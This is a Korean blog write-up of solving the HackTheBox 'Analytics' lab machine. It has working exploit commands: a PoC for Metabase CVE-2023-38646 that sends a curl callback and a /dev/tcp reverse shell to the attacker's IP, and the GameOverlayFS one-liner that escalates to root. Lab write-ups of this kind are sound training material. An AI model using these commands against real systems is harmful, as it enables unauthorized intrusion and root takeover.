HackTheBox 오픈베타 시즌3의 2번째 머신으로 Linux 환경의 머신이 출시되었다. 이번 포스팅에서는 Analytics 머신의 해결 과정을 기록한다.

1. Recon

1.1. Port Scan

포트스캔 결과로 22/tcp, 80/tcp가 확인된다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-09 13:38 KST
Nmap scan report for analytical.htb (10.129.93.179)
Host is up (0.22s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Analytical
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.00 seconds

1.2. WEB (analytical.htb:80)

웹 서비스에 접근 시 아래와 같은 페이지가 반겨준다.

메인 페이지를 스크롤하다보면 아래와 같이 임직원 정보로 추정되는 정보를 확인할 수 있다.

  • Jonnhy Smith
  • Alex Kirigo
  • Daniel Walker

이후 기능 파악을 위해 제공되는 모든 버튼의 기능을 확인하던 중 Login 메뉴 접근 시 data.analytical.htb로 이동하는 것을 확인할 수 있다.

원활한 진행을 위해 analytical.htb와 data.analytical.htb를 hosts 파일에 등록했다.

1.3. WEB(data.analytical.htb:80)

로그인 시 리다이렉트되는 하위 도메인은 아래와 같이 로그인 페이지가 메인으로 확인된다.

해당 페이지는 metabase로 구축된것으로 보인다. meatabase 오픈소스에 대한 CVE 조회 시 2023년에 공개된 최신 CVE-2023-38646가 확인된다.

metabase 0.46.1 이전 버전에서 PreAuth RCE가 가능한 취약점이다.

2. Foothold

위에서 확인된 CVE에 대한 PoC를 쉽게 확인할 수 있었다.

2.1. CVE-2023-38646

검증을 위해 Simple Web Server를 띄우고 아래와 같은 명령을 통해 공격자 웹서버로 curl 명령을 전달할 수 있도록 테스트하니, 공격자 웹 서버에 로그가 출력되는 것으로 보아 명령 실행이 가능했다.

% python3 single.py -u http://data.analytical.htb -c "curl http://10.10.14.45:9000/cve-2023-38646"
Success get token!
Token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
Command: curl http://10.10.14.45:9000/cve-2023-38646
Base64 Encoded Command: Y3VybCBodHRwOi8vMTAuMTAuMTQuNDU6OTAwMC9jdmUtMjAyMy0zODY0Ng
Exploit success !
Check on your own to validity!
% python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.85.89 - - [18/Oct/2023 17:36:02] code 404, message File not found
::ffff:10.129.85.89 - - [18/Oct/2023 17:36:02] "GET /cve-2023-3864 HTTP/1.1" 404 -

3. User

3.1. metabase

CVE-2023-38646의 PoC를 통해 RCE가 가능한것으로 확인됐다. 이제 리버스 커넥션을 맺는 커멘드를 전달하여 쉘을 획득한다.

% python3 single.py -u 'http://data.analytical.htb' -c '0<&196;exec 196<>/dev/tcp/10.10.14.45/30000; /bin/sh <&196 >&196 2>&196'
Success get token!
Token: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f
Command: 0<&196;exec 196<>/dev/tcp/10.10.14.45/30000; /bin/sh <&196 >&196 2>&196
Base64 Encoded Command: MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC8xMC4xMC4xNC40NS8zMDAwMDsgL2Jpbi9zaCA8JjE5NiA+JjE5NiAyPiYxOTY
Exploit success !
Check on your own to validity!
% nc -l 30000 -vn
whoami
metabase

metabase의 쉘에서 시스템을 정찰하다가 env 명령을 통해 확인된 환경변수 내에서 metalytics 계정의 패스워드로 보이는 값을 확인할 수 있었다.

SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=5f7ffa4be269
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=안알려줌
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=6
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env

3.2. metalytics

환경변수에서 확인된 metalytics 계정의 패스워드를 통해 SSH 접근이 가능했다.

% ssh metalytics@analytical.htb
metalytics@analytical.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

Last login: Tue Oct  3 09:14:35 2023 from 10.10.14.41

metalytics@analytics:~$ id
uid=1000(metalytics) gid=1000(metalytics) groups=1000(metalytics)

3.3. root

root로 권한 상승을 위해 CVE-2023-2640 및 CVE-2023-32629인 GameoverlayFS Exploit을 사용하였다.

metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("chmod u+s /bin/bash")'

metalytics@analytics:~$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash

metalytics@analytics:~$ /bin/bash -p

bash-5.1# id
uid=1000(metalytics) gid=1000(metalytics) euid=0(root) groups=1000(metalytics)
profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글